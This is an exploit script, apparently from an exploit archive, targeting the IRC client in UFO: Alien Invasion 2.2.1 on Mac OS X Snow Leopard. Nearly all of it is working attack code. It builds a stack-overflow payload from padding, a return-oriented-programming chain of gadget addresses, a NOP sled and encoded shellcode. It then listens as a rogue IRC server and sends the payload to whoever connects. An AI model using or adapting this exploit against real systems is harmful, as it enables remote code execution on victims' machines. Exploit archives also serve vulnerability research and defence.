UFO: Alien Invasion 2.2.1 (OSX Snow Leopard) – IRC Client Remote Code Execution (ROP)
#!/usr/bin/python # UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX # OS X Snow Leopard: d1dn0t # OS X Leopard: dookie # Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 import sys, socket, struct WRITEABLE = 0x8fe66448 STRCPY=0x8fe2db10 shellcode = ("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1" "\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06" "\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6" "\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d" "\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c" "\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f" "\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82" "\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee" "\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1" "\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6" "\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32" "\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45") # ==================== Put stack pointer into EAX/EDX ==================== ROP = struct.pack('<I',0x8fe2b3d4) # POP - RET Insturction - Pop's over the writeable value below ROP += struct.pack('<I',WRITEABLE) # Required Writeable address here for exploit to work ROP += struct.pack('<I',0x8fe2fb63) # pop eax # ret ROP += struct.pack('<I',WRITEABLE) # Pop writeable address into eax for instructions below ROP += struct.pack('<I',0x8fe2fb58) # push esp # and al,0x4 # mov [eax+0x28],edx # mov edx,[esp] # mov [eax],edx # pop eax # ret # ==================== Jump Over Parameters below ==================== ROP += struct.pack('<I',0xffff1d6b) # add esp,byte +0x1c # pop ebp # ret # ==================== strcpy call ==================== ROP += struct.pack('<I',STRCPY) # use strcpy to copy shellcode from stack to heap ROP += struct.pack('<I',0x8fe2dfd1) # POP - POP - RET over strcpy params ROP += struct.pack('<I',WRITEABLE) # Dst Param for strcpy ROP += 'EEEE' # Src Param for strcpy ROP += struct.pack('<I',WRITEABLE) # Move execution to where we moved our shell ROP += 'C'*12 # Padding # ==================== Craft Parameter 2 ==================== # Need to inc EAX or EDX to point to shell code # Store 0x40 in ECX ROP += struct.pack('<I',0x8fe2dae4) # mov ecx,[esp+0x4] # add eax,edx # sub eax,ecx # ret ROP += struct.pack('<I',0x8fe2b3d4) # POP - RET Insturction - Pop's over the value below ROP += struct.pack('<I',0xffffffff) # Value to store in ecx ROP += struct.pack('<I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('<I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret # Replace stack pointer back into eax as it was trashed ROP += struct.pack('<I',0x8fe2c71d) # mov eax,edx # ret # Add offset to paramter ROP += struct.pack('<I',0x8fe2def4) # add eax,ecx # ret # Swap over so we can work on fresh copy of saved ESP ROP += struct.pack('<I',0x8fe0e32d) # xchg eax,edx # Double ECX a few more times to point to our nop sled/shell code ROP += struct.pack('<I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('<I',0x8fe0c0c7) # inc ecx # xor al,0xc9 ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret ROP += struct.pack('<I',0x8fe24b3c) # add ecx,ecx # ret # Add offset to shellcode ROP += struct.pack('<I',0x8fe2def4) # add eax,ecx # ret # Swap back ROP += struct.pack('<I',0x8fe0e32d) # xchg eax,edx # Copy parameter to placeholder ROP += struct.pack('<I',0x8fe2fb61) # mov [eax],edx # pop eax # ret ROP += 'G'*4 # junk # ==================== Call strcpy function ==================== # Set our Stack pointer back to original value ROP += struct.pack('<I',0x8fe0e32d) # xchg eax,edx ROP += struct.pack('<I',0x8fe2daea) # sub eax,ecx # ret # Return execution to our strdup call above ROP += struct.pack('<I',0x8fe0b1c2) # xchg eax,ebp # inc ebp # ret ROP += struct.pack('<I',0x8fe2b6a5) # dec ebp # ret ROP += struct.pack('<I',0xffff01f3) # mov esp,ebp # pop ebp # ret ROP += 'G'*4 # junk # ==================== Call Exploit code from heap ==================== sploit = "001 :" sploit += "\x41" * 528 sploit += ROP sploit += '\x90' * 10 sploit += shellcode sploit += "\x0d\x0a" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 6667)) s.listen(1) print ("[*] Listening on port 6667.") print ("[*] Have someone connect to you.") print ("[*] Type [control]-c to exit.") conn, addr = s.accept() print '[*] Received connection from: ', addr conn.send(sploit) conn.close |